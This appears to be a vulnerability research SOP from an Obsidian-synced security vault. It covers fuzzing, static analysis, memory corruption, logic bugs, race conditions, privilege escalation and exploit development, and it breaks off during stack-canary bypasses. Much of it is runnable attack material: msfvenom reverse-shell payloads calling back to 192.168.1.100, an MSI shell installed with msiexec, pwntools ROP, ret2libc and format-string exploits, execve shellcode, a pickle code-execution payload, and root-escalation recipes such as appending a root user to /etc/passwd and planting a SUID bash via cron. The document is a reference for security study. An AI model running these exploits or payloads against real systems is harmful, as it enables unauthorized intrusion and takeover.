Skip to main content
Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

Vulnerability Research SOP

Table of Contents

  1. Overview
  2. Quick Reference
  3. Research Methodology
  4. Reconnaissance & Attack Surface Mapping
  5. Static Analysis
  6. Dynamic Analysis & Fuzzing
  7. Binary Exploitation
  8. Memory Corruption Vulnerabilities
  9. Logic Vulnerabilities
  10. Race Conditions
  11. Privilege Escalation
  12. Exploit Development
  13. Exploit Mitigations & Bypasses
  14. CVE Process & Disclosure
  15. Bug Bounty Programs
  16. 0-Day Research Ethics
  17. Tools Reference
  18. Legal & Ethical Considerations

Overview

Purpose: Comprehensive guide for discovering, analyzing, and responsibly disclosing security vulnerabilities in software and systems.

Scope:

  • Vulnerability identification methodologies
  • Binary exploitation techniques
  • Fuzzing and dynamic analysis
  • Memory corruption and logic vulnerabilities
  • Exploit development
  • Responsible disclosure processes
  • CVE assignment and publication

Prerequisites:

  • Understanding of programming (C/C++, Python, Assembly)
  • Knowledge of operating system internals
  • Familiarity with debugging tools
  • Understanding of exploitation mitigations

Related SOPs:

  • Reverse-Engineering.md - Binary analysis and disassembly
  • Web-Application-Security.md - Web vulnerability research
  • Cryptography-Analysis.md - Cryptographic vulnerability analysis
  • Firmware-Reverse-Engineering.md - Embedded device vulnerabilities

Quick Reference

Vulnerability Categories

CategoryImpactCommon Vectors
Memory CorruptionCriticalBuffer overflow, use-after-free, heap overflow
InjectionCriticalSQL injection, command injection, XXE
Authentication BypassCriticalLogic flaws, weak crypto, session issues
Privilege EscalationCriticalKernel bugs, SUID binaries, misconfigurations
Information DisclosureMedium-HighMemory leaks, verbose errors, directory traversal
Denial of ServiceMediumResource exhaustion, null pointer dereference
Logic FlawsVariableRace conditions, business logic bypass

Critical Commands

# Fuzzing with AFL++
afl-fuzz -i input_corpus/ -o findings/ -- ./target_binary @@

# Debugging with GDB
gdb -q ./target_binary
> run $(python3 -c 'print("A"*100)')

# Find SUID binaries (privilege escalation)
find / -perm -4000 -type f 2>/dev/null

# Binary security analysis
checksec --file=./binary

# Kernel exploit compilation
gcc -o exploit exploit.c -static -lpthread

# Generate shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

Common Exploit Patterns

# Buffer overflow exploit template
payload = b"A" * offset # Padding to EIP/RIP
payload += p64(gadget_address) # ROP gadget
payload += p64(shellcode_address) # Shellcode location

# Format string exploit
payload = b"%x " * 20 # Leak stack values
payload = b"%7$s" + p64(address) # Read arbitrary memory

# Use-after-free exploit
# 1. Allocate object
# 2. Free object
# 3. Allocate controlled data in same location
# 4. Trigger use of freed object

Research Methodology

Vulnerability Discovery Process

1. Target Selection:

# Choose research target based on:
# - Attack surface (network services, parsers, browsers)
# - Complexity (more code = more bugs)
# - Impact (kernel, authentication, crypto)
# - Accessibility (open-source vs. closed-source)

# Examples of high-value targets:
# - Web browsers (Chrome, Firefox, Safari)
# - Operating system kernels (Linux, Windows, macOS)
# - Network services (SSH, HTTP servers, DNS)
# - File parsers (PDF, image formats, office documents)
# - Hypervisors (VMware, VirtualBox, Hyper-V)

2. Information Gathering:

# Collect information about target
# - Version numbers
# - Build configuration
# - Dependencies
# - Previous vulnerabilities (CVE database)
# - Patch history

# Check existing CVEs
searchsploit openssh 7.4
cve search --product openssh --version 7.4

# GitHub security advisories
https://github.com/advisories?query=product:openssh

# National Vulnerability Database
https://nvd.nist.gov/

3. Attack Surface Analysis:

# Identify entry points:
# - Network ports and protocols
# - File parsers
# - User input handling
# - IPC mechanisms
# - API endpoints

# Example: Web server attack surface
nmap -sV -sC -p- target.com
# - HTTP/HTTPS (80, 443)
# - Admin panels
# - File upload functionality
# - API endpoints
# - WebSocket connections

4. Code Review (if source available):

# Search for dangerous functions
grep -r "strcpy\|strcat\|sprintf\|gets" source_code/
grep -r "memcpy\|strncpy\|strncat" source_code/
grep -r "malloc\|free\|realloc" source_code/

# Look for common patterns
# - Unbounded loops
# - Integer overflows
# - Missing input validation
# - Race conditions (TOCTOU)
# - Improper error handling

5. Binary Analysis (if closed-source):

# Reverse engineer binary (see Reverse-Engineering.md)
# - Disassembly with IDA Pro, Ghidra, Binary Ninja
# - Identify vulnerabilities in assembly
# - Reconstruct high-level logic

6. Fuzzing (automated testing):

# Generate test cases to trigger crashes
# - AFL++, LibFuzzer, Honggfuzz
# - Coverage-guided fuzzing
# - Mutation-based fuzzing
# - Generation-based fuzzing (grammar)

7. Vulnerability Confirmation:

# Reproduce crash reliably
# Analyze crash (debugger, core dump)
# Determine exploitability
# Develop proof-of-concept exploit

8. Responsible Disclosure:

# Report to vendor
# Wait for patch development
# Coordinate public disclosure
# Request CVE assignment

Reconnaissance & Attack Surface Mapping

Network Service Enumeration

# Full port scan
nmap -p- --min-rate 10000 -T4 target.com -oN nmap_all_ports.txt

# Service version detection
nmap -sV -sC -p 21,22,80,443,3306,8080 target.com -oN nmap_services.txt

# Vulnerability scanning
nmap --script vuln -p 80,443 target.com

# Banner grabbing
nc -v target.com 80
HEAD / HTTP/1.0

# SSL/TLS version enumeration
nmap --script ssl-enum-ciphers -p 443 target.com

Application Fingerprinting

# Web server fingerprinting
whatweb -v target.com
wafw00f target.com # WAF detection

# CMS detection
wpscan --url http://target.com # WordPress
droopescan scan drupal -u http://target.com # Drupal

# Technology stack
curl -I http://target.com
# Look for: Server, X-Powered-By, X-AspNet-Version headers

# JavaScript frameworks
retire --js --jspath http://target.com

# Check robots.txt and sitemap
curl http://target.com/robots.txt
curl http://target.com/sitemap.xml

Binary Surface Analysis

# List imported functions (potential attack surface)
objdump -T ./binary | grep -E "strcpy|memcpy|system|exec"

# Radare2 analysis
r2 -A ./binary
> afl # List functions
> ii # List imports
> iz # List strings

# Identify file parsers
strings ./binary | grep -i "png\|jpg\|pdf\|xml"

# Network-related functions
strings ./binary | grep -i "socket\|connect\|recv\|send"

Static Analysis

Source Code Analysis

Manual code review - dangerous patterns:

// ❌ Buffer overflow - unbounded copy
char buffer[64];
strcpy(buffer, user_input); // No length check!

// ✅ Safe version
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';

// ❌ Format string vulnerability
printf(user_input); // User controls format string!

// ✅ Safe version
printf("%s", user_input);

// ❌ Integer overflow
int size = user_size;
char *buf = malloc(size); // What if user_size is negative or huge?
memcpy(buf, data, size);

// ✅ Safe version
if (user_size <= 0 || user_size > MAX_SIZE) {
return -1;
}
size_t size = (size_t)user_size;
char *buf = malloc(size);

// ❌ Use-after-free
free(ptr);
ptr->field = value; // Use after free!

// ✅ Safe version
free(ptr);
ptr = NULL;

Common vulnerability patterns:

// Integer overflow leading to buffer overflow
void vulnerable(int count) {
char *buffer = malloc(count * sizeof(int)); // count * 4 can overflow!
if (!buffer) return;

for (int i = 0; i < count; i++) {
((int*)buffer)[i] = get_data(); // Heap overflow if count * 4 wrapped
}
}

// Time-of-check to time-of-use (TOCTOU)
if (access("/tmp/file", W_OK) == 0) { // Check
// Attacker can replace /tmp/file with symlink here!
FILE *f = fopen("/tmp/file", "w"); // Use
}

// Race condition
if (global_counter < MAX) { // Thread 1 checks
// Thread 2 can increment here
global_counter++; // Thread 1 increments (can exceed MAX)
}

// SQL injection (interpreted language)
query = "SELECT * FROM users WHERE username='" + user_input + "'"
# user_input = "admin' OR '1'='1" → authentication bypass

Automated Static Analysis

Cppcheck (C/C++):

# Install
sudo apt install cppcheck

# Basic scan
cppcheck --enable=all --inconclusive source_code/

# Specific checks
cppcheck --enable=warning,performance,portability source_code/

# XML output for further analysis
cppcheck --xml --xml-version=2 source_code/ 2> report.xml

Semgrep (multi-language):

# Install
pip install semgrep

# Scan with default rules
semgrep --config=auto source_code/

# Security-focused scan
semgrep --config=p/security-audit source_code/

# OWASP Top 10 rules
semgrep --config=p/owasp-top-ten source_code/

# Custom rule example (detect dangerous strcpy)
cat > strcpy_rule.yaml << 'EOF'
rules:
- id: dangerous-strcpy
pattern: strcpy($DST, $SRC)
message: Unsafe strcpy detected - use strncpy instead
languages: [c, cpp]
severity: WARNING
EOF

semgrep --config=strcpy_rule.yaml source_code/

Clang Static Analyzer:

# Analyze during build
scan-build make

# Specific file
clang --analyze vulnerable.c

FlawFinder (C/C++):

# Install
sudo apt install flawfinder

# Scan source code
flawfinder source_code/

# Minimum risk level
flawfinder --minlevel=4 source_code/

# HTML report
flawfinder --html source_code/ > report.html

Dynamic Analysis & Fuzzing

Fuzzing Fundamentals

Types of fuzzing:

  1. Mutation-based - Mutate existing valid inputs
  2. Generation-based - Generate inputs from grammar/specification
  3. Coverage-guided - Use code coverage feedback to guide input generation
  4. Symbolic execution - Explore program paths systematically

AFL++ (American Fuzzy Lop)

Installation:

# Linux
sudo apt install afl++

# Or build from source
git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus
make
sudo make install

Compile target for fuzzing:

# Instrument binary with AFL++ compiler
afl-gcc -o target_fuzz target.c

# Or with additional sanitizers
AFL_USE_ASAN=1 afl-gcc -o target_fuzz target.c # AddressSanitizer
AFL_USE_UBSAN=1 afl-gcc -o target_fuzz target.c # UndefinedBehaviorSanitizer
AFL_USE_MSAN=1 afl-clang -o target_fuzz target.c # MemorySanitizer

Prepare input corpus:

# Create directory with seed inputs
mkdir input_corpus
echo "valid input 1" > input_corpus/input1.txt
echo "another valid input" > input_corpus/input2.txt

# For binary formats, use valid files
cp valid_image.png input_corpus/
cp valid_pdf.pdf input_corpus/

Run fuzzer:

# Basic fuzzing
afl-fuzz -i input_corpus/ -o findings/ -- ./target_fuzz @@

# Explanation:
# -i input_corpus/ : Input directory with seed files
# -o findings/ : Output directory for crashes/hangs
# @@ : Replaced with fuzzer-generated filename

# Multiple fuzzers in parallel (recommended)
# Master fuzzer
afl-fuzz -i input_corpus/ -o findings/ -M fuzzer01 -- ./target_fuzz @@

# Slave fuzzers (in separate terminals)
afl-fuzz -i input_corpus/ -o findings/ -S fuzzer02 -- ./target_fuzz @@
afl-fuzz -i input_corpus/ -o findings/ -S fuzzer03 -- ./target_fuzz @@

# For stdin input (no @@)
afl-fuzz -i input_corpus/ -o findings/ -- ./target_fuzz

# With custom dictionary
afl-fuzz -i input_corpus/ -o findings/ -x dictionary.txt -- ./target_fuzz @@

Dictionary example (for format-aware fuzzing):

# dictionary.txt - PDF format
keyword_obj="obj"
keyword_endobj="endobj"
keyword_stream="stream"
keyword_endstream="endstream"
keyword_PDF="%PDF-"
magic_header="%PDF-1.4"

Analyze results:

# Check fuzzer status
# Key metrics:
# - execs/s: Executions per second (higher = better)
# - unique crashes: Number of unique crash signatures
# - unique hangs: Number of unique timeouts

# Reproduce crash
./target_fuzz findings/crashes/id:000000,sig:11,src:000000,op:havoc,rep:16

# Triage crashes
afl-collect -r -d findings/crashes/ crash_analysis/

# Minimize crash input
afl-tmin -i findings/crashes/id:000000 -o minimal_crash -- ./target_fuzz @@

# Symbolically link unique crashes
afl-whatsup findings/

LibFuzzer (LLVM)

Compile with LibFuzzer:

# Create fuzzing harness
cat > fuzz_target.c << 'EOF'
#include <stdint.h>
#include <stddef.h>

// Fuzzing entry point
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
// Call target function with fuzzer-provided data
if (size > 0) {
process_input(data, size);
}
return 0;
}
EOF

# Compile with clang
clang -g -fsanitize=fuzzer,address -o fuzz_target fuzz_target.c target.c

Run fuzzer:

# Basic fuzzing
./fuzz_target corpus/

# With options
./fuzz_target corpus/ -max_len=4096 -timeout=1 -rss_limit_mb=2048

# Merge corpora
./fuzz_target -merge=1 merged_corpus/ corpus1/ corpus2/

# Minimize corpus
./fuzz_target -merge=1 minimized_corpus/ full_corpus/

Honggfuzz

# Install
sudo apt install honggfuzz

# Run fuzzer
honggfuzz -i input_corpus/ -o output_dir/ -- ./target_binary ___FILE___

# With persistent mode (faster)
honggfuzz -i input_corpus/ -P -- ./target_binary

Network Protocol Fuzzing

Boofuzz framework:

from boofuzz import *

# Define session
session = Session(target=Target(connection=SocketConnection("192.168.1.100", 8080)))

# Define protocol
s_initialize("HTTP Request")
s_string("GET", fuzzable=False)
s_delim(" ", fuzzable=False)
s_string("/index.html") # Fuzzable field
s_delim(" ", fuzzable=False)
s_string("HTTP/1.1", fuzzable=False)
s_delim("\r\n", fuzzable=False)
s_string("Host:")
s_delim(" ", fuzzable=False)
s_string("localhost")
s_static("\r\n\r\n")

# Start fuzzing
session.connect(s_get("HTTP Request"))
session.fuzz()

Radamsa (mutation-based fuzzer):

# Install
sudo apt install radamsa

# Generate mutated inputs
cat valid_input.bin | radamsa -n 1000 -o output_%n.bin

# Fuzz in loop
while true; do
radamsa input.txt > fuzzed.txt
./target_binary fuzzed.txt
done

Binary Exploitation

Crash Analysis

Analyzing crashes with GDB:

# Run program in GDB
gdb ./vulnerable_binary

# Set breakpoints
(gdb) break main
(gdb) break vulnerable_function

# Run with input
(gdb) run $(python3 -c 'print("A"*200)')

# After crash, examine registers
(gdb) info registers
# Look for:
# RIP/EIP = 0x4141414141414141 (overwritten instruction pointer)

# Examine stack
(gdb) x/100x $rsp
(gdb) x/100x $rbp

# Backtrace
(gdb) bt

# Examine memory at address
(gdb) x/s 0x7fffffffe000

# Find offset to EIP/RIP
(gdb) pattern create 200
(gdb) run [pattern]
# After crash:
(gdb) pattern offset $rip

GEF (GDB Enhanced Features):

# Install GEF
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# Launch GDB with GEF
gdb -q ./binary

# GEF commands
gef> checksec # Check binary protections
gef> vmmap # Memory mappings
gef> search-pattern "AAAA"
gef> ropper # ROP gadget search
gef> heap chunks # Heap analysis

Core dump analysis:

# Enable core dumps
ulimit -c unlimited

# Run program (will create core dump on crash)
./vulnerable_binary $(python3 -c 'print("A"*200)')

# Analyze core dump
gdb ./vulnerable_binary core

# Examine crash state
(gdb) bt
(gdb) info registers
(gdb) x/100x $rsp

Determining Exploitability

EXPLOITABLE GDB plugin:

# Install
git clone https://github.com/jfoote/exploitable.git
echo "source ~/exploitable/exploitable/exploitable.py" >> ~/.gdbinit

# Use in GDB
gdb ./binary
(gdb) run $(python3 -c 'print("A"*200)')
(gdb) exploitable

# Output:
# Description: Access violation during branch instruction
# Exploitability: EXPLOITABLE

Manual exploitability assessment:

1. Control of EIP/RIP?
- Can you redirect execution?
- YES → Highly exploitable

2. Control of data written?
- Can you control what is written where?
- YES (write-what-where) → Exploitable

3. Information leak?
- Can you leak addresses (bypass ASLR)?
- Can you leak stack canary?

4. Heap corruption?
- Use-after-free?
- Double-free?
- Heap overflow?

5. Available gadgets?
- ROP gadgets for exploitation?
- System calls available?

Memory Corruption Vulnerabilities

Buffer Overflow

Stack buffer overflow:

// Vulnerable code
void vulnerable_function(char *user_input) {
char buffer[64];
strcpy(buffer, user_input); // No bounds checking
printf("Input: %s\n", buffer);
}

int main(int argc, char **argv) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}

Exploitation:

from pwn import *

# Find offset to return address
offset = 72 # Determined via pattern_create/pattern_offset

# Craft exploit
payload = b"A" * offset # Fill buffer + saved RBP
payload += p64(0x401234) # Overwrite return address

# Send payload
p = process("./vulnerable_binary")
p.sendline(payload)
p.interactive()

Finding offset with pwntools:

from pwn import *

# Generate cyclic pattern
pattern = cyclic(200)

# Run program
p = process("./vulnerable_binary")
p.sendline(pattern)
p.wait()

# Get core dump
core = p.corefile

# Find offset
offset = cyclic_find(core.read(core.rsp, 8))
print(f"Offset: {offset}")

Heap Exploitation

Use-After-Free (UAF):

// Vulnerable code
struct User {
char name[32];
void (*print_user)(struct User *);
};

void print_user_info(struct User *u) {
printf("User: %s\n", u->name);
}

struct User *user = malloc(sizeof(struct User));
user->print_user = print_user_info;
strcpy(user->name, "Alice");

free(user); // Free user object

// Later... (user pointer still used)
user->print_user(user); // Use-after-free! Function pointer may be attacker-controlled

Exploitation strategy:

# 1. Trigger allocation of object
create_user("Alice")

# 2. Free object
delete_user(0)

# 3. Allocate attacker-controlled data in same location
# (spray heap with controlled data)
for i in range(100):
create_note(p64(system_address) + b"/bin/sh\x00")

# 4. Trigger use of freed object
view_user(0) # Calls function pointer → system("/bin/sh")

Heap overflow:

// Vulnerable code
struct Chunk {
size_t size;
char data[128];
struct Chunk *next;
};

void process_data(struct Chunk *chunk, char *user_input, size_t len) {
memcpy(chunk->data, user_input, len); // No bounds check on len!
}

Exploitation (overwrite next pointer):

# Overflow to overwrite 'next' pointer
payload = b"A" * 128 # Fill data field
payload += p64(0x123) # Overwrite size
payload += p64(target_address) # Overwrite next pointer

# When next chunk is processed, writes to target_address

Double-free:

// Vulnerable code
free(ptr);
free(ptr); // Double-free!

Exploitation:

# Double-free allows heap metadata corruption
# Can lead to:
# - Arbitrary write primitive
# - Overlapping chunks
# - Code execution

Format String Vulnerability

Vulnerable code:

void vulnerable(char *user_input) {
printf(user_input); // User controls format string!
}

Information leak:

# Leak stack values
payload = b"%x " * 20 # Dump 20 stack values

# Leak specific address
payload = b"%7$s" + p64(address) # Read string at 'address'

# Leak program base (bypass PIE)
payload = b"%13$p" # Leak return address from stack

Arbitrary write:

# Write to arbitrary address using %n
# %n writes number of bytes printed so far to address

target_address = 0x601234
value_to_write = 0x1234

payload = p64(target_address) # Address to write to
payload += b"%{}x".format(value_to_write - 8).encode() # Print correct number of bytes
payload += b"%7$n" # Write to 7th stack argument (our address)

Exploitation example:

from pwn import *

# Overwrite GOT entry to redirect execution
got_address = 0x601018 # printf@GOT
system_address = 0x7ffff7a52390

payload = p64(got_address)
payload += b"%{}x".format((system_address & 0xFFFF) - 8).encode()
payload += b"%7$hn" # Write lower 2 bytes

p = process("./vulnerable_binary")
p.sendline(payload)
p.interactive()

Integer Overflow

Vulnerable code:

void process_image(int width, int height, char *image_data) {
int size = width * height; // Integer overflow!

if (size < 0) {
return; // Insufficient check
}

char *buffer = malloc(size);
memcpy(buffer, image_data, size); // Heap overflow
}

// Exploit: width=0x10000, height=0x10000
// size = 0x100000000 (wraps to 0 in 32-bit)

Detection patterns:

// Unsafe arithmetic
int total = user_value1 + user_value2; // Can overflow
int size = count * sizeof(struct); // Can overflow

// Safe version
if (user_value1 > INT_MAX - user_value2) {
// Overflow would occur
return -1;
}

// Or use compiler builtins
int result;
if (__builtin_add_overflow(a, b, &result)) {
// Overflow occurred
}

Logic Vulnerabilities

Authentication Bypass

Common patterns:

# SQL injection in authentication
username = "admin' --"
password = "anything"
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
# Result: SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
# Password check is commented out!

# Boolean logic error
def check_password(username, password):
user = db.query(f"SELECT * FROM users WHERE username='{username}'")
if user and password: # ❌ Should check password == user.password
return True
return False

# Timing attack on comparison
def verify_token(provided_token):
expected_token = get_secret_token()
for i in range(len(expected_token)):
if provided_token[i] != expected_token[i]:
return False # Returns early → timing leak
return True

Business Logic Flaws

Price manipulation:

# Vulnerable checkout process
def checkout(cart_items):
total = 0
for item in cart_items:
total += item['price'] * item['quantity'] # Client-provided price!
charge_customer(total)

# Exploit: Set price to negative value
cart = [
{'item_id': 123, 'price': -100.00, 'quantity': 1},
{'item_id': 456, 'price': 50.00, 'quantity': 1}
]
# Total: -100 + 50 = -50 (customer gets paid!)

Race condition in balance check:

# Vulnerable transfer function
def transfer(from_account, to_account, amount):
if get_balance(from_account) >= amount: # Check
# Race window here!
deduct_balance(from_account, amount) # Use
add_balance(to_account, amount)
else:
raise InsufficientFunds

# Exploit: Send multiple concurrent transfer requests
# Both pass balance check before first deduction

Insecure Deserialization

Python pickle vulnerability:

import pickle
import os

# Malicious payload
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))

# Serialize
payload = pickle.dumps(Exploit())

# Vulnerable code
pickle.loads(payload) # Executes os.system('whoami')!

PHP unserialize vulnerability:

<?php
class User {
public $isAdmin = false;

public function __wakeup() {
if ($this->isAdmin) {
include('/flag.txt');
}
}
}

// Vulnerable code
$user = unserialize($_GET['data']);

// Exploit: ?data=O:4:"User":1:{s:7:"isAdmin";b:1;}
?>

Race Conditions

TOCTOU (Time-of-Check to Time-of-Use)

Vulnerable code:

// Check if file exists and is writable
if (access("/tmp/myfile", W_OK) == 0) { // Time-of-Check
// Attacker can replace /tmp/myfile with symlink to /etc/passwd here!
FILE *f = fopen("/tmp/myfile", "w"); // Time-of-Use
fprintf(f, "data");
fclose(f);
}

Exploitation:

#!/bin/bash
# Create race condition exploit

# In one terminal: Run vulnerable program repeatedly
while true; do
./vulnerable_program
done

# In another terminal: Replace file with symlink rapidly
while true; do
rm -f /tmp/myfile
touch /tmp/myfile
rm -f /tmp/myfile
ln -s /etc/passwd /tmp/myfile
done

# Eventually vulnerable program will open /etc/passwd for writing

File system race conditions:

// Vulnerable: Check then create
if (stat("/tmp/logfile", &st) == -1) { // Check if doesn't exist
// Race window
FILE *f = fopen("/tmp/logfile", "w"); // Create
}

// Secure: Open with O_CREAT | O_EXCL
int fd = open("/tmp/logfile", O_CREAT | O_EXCL | O_WRONLY, 0600);
if (fd == -1) {
// File already exists
}

Multi-threaded Race Conditions

Vulnerable code:

int balance = 1000;

void withdraw(int amount) {
if (balance >= amount) { // Thread 1 checks
// Thread 2 can also check here
usleep(100); // Simulate processing
balance -= amount; // Both threads withdraw
}
}

// Two threads call withdraw(800) concurrently
// Both pass check, balance becomes -600!

Exploitation:

import threading

def exploit():
# Send multiple withdrawal requests concurrently
threads = []
for i in range(10):
t = threading.Thread(target=lambda: withdraw(800))
threads.append(t)
t.start()

for t in threads:
t.join()

# Balance is now negative (double-spending)

Detection with ThreadSanitizer:

# Compile with TSan
clang -fsanitize=thread -g -o program program.c

# Run
./program

# Output will show race conditions:
# WARNING: ThreadSanitizer: data race

Privilege Escalation

Linux Privilege Escalation

SUID binary exploitation:

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Common exploitable SUID binaries:
# - Custom binaries with vulnerabilities
# - Misconfigured system utilities

# Example: SUID binary with buffer overflow
/usr/local/bin/custom_tool $(python3 -c 'print("A"*200 + shellcode)')

Kernel exploits:

# Check kernel version
uname -a

# Search for kernel exploits
searchsploit linux kernel 4.4.0

# Common kernel exploits:
# - Dirty COW (CVE-2016-5195)
# - DirtyCred (CVE-2022-0847)
# - PwnKit (CVE-2021-4034)

# Example: Dirty COW exploitation
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password
# Overwrites /etc/passwd to add root user

Sudo misconfigurations:

# Check sudo privileges
sudo -l

# Exploitable patterns:
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'

# (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# (ALL) NOPASSWD: /usr/bin/python
sudo python -c 'import os; os.system("/bin/sh")'

# GTFOBins for sudo escape techniques:
# https://gtfobins.github.io/

Writable /etc/passwd:

# Check if /etc/passwd is writable
ls -la /etc/passwd

# If writable, add root user
openssl passwd -1 -salt salt password123
echo 'hacker:$1$salt$qMKkPP7L3pKrLwBJgmGVH.:0:0::/root:/bin/bash' >> /etc/passwd

# Login as root
su hacker
# Password: password123

Cron job abuse:

# Check for writable cron jobs
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
cat /etc/crontab

# If script run by root is writable
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash' >> /usr/local/bin/backup.sh
echo 'chmod +s /tmp/rootbash' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh

# Wait for cron to execute
# Then:
/tmp/rootbash -p

Windows Privilege Escalation

Common vectors:

# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Exploitable if path contains spaces:
# C:\Program Files\My Service\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\My.exe

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both are 1, can install MSI as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

# Weak service permissions
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

# If service binary is writable, replace with malicious binary
sc stop vulnerable_service
move C:\Path\To\service.exe C:\Path\To\service.exe.bak
copy payload.exe C:\Path\To\service.exe
sc start vulnerable_service

Token impersonation:

# Check for SeImpersonatePrivilege
whoami /priv

# If enabled, use JuicyPotato/RoguePotato
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {CLSID}

Exploit Development

Shellcode Development

Linux x64 execve("/bin/sh") shellcode:

; execve("/bin/sh", NULL, NULL)
global _start
section .text

_start:
xor rax, rax
push rax ; NULL terminator
mov rbx, 0x68732f6e69622f ; "/bin/sh" in reverse
push rbx
mov rdi, rsp ; rdi = pointer to "/bin/sh"
push rax ; argv[1] = NULL
push rdi ; argv[0] = "/bin/sh"
mov rsi, rsp ; rsi = argv
xor rdx, rdx ; rdx = NULL (envp)
mov al, 59 ; syscall number for execve
syscall

Assemble and extract shellcode:

# Assemble
nasm -f elf64 shellcode.asm -o shellcode.o

# Link
ld shellcode.o -o shellcode

# Extract shellcode bytes
objdump -d shellcode -M intel

# Or use objcopy
objcopy -O binary shellcode shellcode.bin
xxd -p shellcode.bin | tr -d '\n'

Test shellcode:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

int main() {
printf("Shellcode length: %lu\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();

return 0;
}

Compile and run:

# Disable protections for testing
gcc -z execstack -fno-stack-protector -o test_shellcode test_shellcode.c

./test_shellcode
# Should spawn shell

Msfvenom shellcode generation:

# Linux x64 reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

# Windows x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

# Encode shellcode (bypass bad characters)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f c

# Bind shell
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f c

ROP (Return-Oriented Programming)

Finding ROP gadgets:

# ROPgadget
ROPgadget --binary ./vulnerable_binary > gadgets.txt

# Search for specific gadgets
ROPgadget --binary ./vulnerable_binary --only "pop|ret"

# Ropper
ropper --file ./vulnerable_binary --search "pop rdi"

# radare2
r2 -A ./vulnerable_binary
> /R pop rdi

Basic ROP chain (call system("/bin/sh")):

from pwn import *

# Binary info
elf = ELF('./vulnerable_binary')
rop = ROP(elf)

# Gadgets
pop_rdi = 0x401234 # pop rdi; ret
bin_sh = 0x402000 # Address of "/bin/sh" string
system_addr = elf.plt['system']

# Build ROP chain
payload = b"A" * offset
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(bin_sh) # rdi = "/bin/sh"
payload += p64(system_addr) # call system

# Send exploit
p = process('./vulnerable_binary')
p.sendline(payload)
p.interactive()

ret2libc attack:

from pwn import *

# Leak libc address
elf = ELF('./vulnerable_binary')
rop = ROP(elf)

# Stage 1: Leak libc address
pop_rdi = 0x401234
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(puts_got) # puts(puts@GOT) → leak address
payload += p64(puts_plt)
payload += p64(main_addr) # Return to main

p = process('./vulnerable_binary')
p.sendline(payload)

# Receive leaked address
p.recvuntil(b"Input: ")
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts: {hex(leaked_puts)}")

# Calculate libc base
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"Libc base: {hex(libc.address)}")

# Stage 2: Call system with libc address
bin_sh = next(libc.search(b'/bin/sh'))
system_addr = libc.symbols['system']

payload2 = b"A" * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system_addr)

p.sendline(payload2)
p.interactive()

Heap Exploitation Techniques

House of Force:

# Exploit malloc() by corrupting top chunk size
# 1. Overflow into top chunk, set size to -1 (0xffffffffffffffff)
# 2. Calculate offset to target address
# 3. Allocate large chunk to move top chunk to target
# 4. Next allocation writes to target address

Fastbin dup:

# Exploit double-free in fastbins
# 1. Allocate three chunks: A, B, C
# 2. Free A, B, A (double-free A)
# 3. Fastbin: A → B → A (circular)
# 4. Allocate and control A again
# 5. Overwrite fd pointer of A to target address
# 6. Allocate until target is returned

Tcache poisoning:

# Similar to fastbin dup but with tcache
# Tcache has less security checks
# 1. Double-free into tcache
# 2. Overwrite next pointer
# 3. Allocate to get arbitrary write

Exploit Mitigations & Bypasses

Stack Canaries

Detection:

checksec --file=./binary
# Output:
# Canary: Canary found

Bypass techniques:

  1. Information leak: Leak canary value before overwriting
  2. Brute-force: Single-byte brute-force on 64-bit (256 attempts)
  3. Fork without re-randomization: Some daemons don't regenerate canary

Brute-force example:

from pwn import *

canary = b''

# Brute-force one byte at a time
for i in range(8):
for byte_val in range(256):
p = process('./vulnerable_binary')

payload = b"A" * offset
payload += canary + bytes([byte_val])

p.sendline(payload)
response = p.recvall()

if b"stack smashing detected" not in response:
canary += bytes([byte_val])
log.info(f"Canary byte {i}: {hex(byte_val)}")
break

p.close()

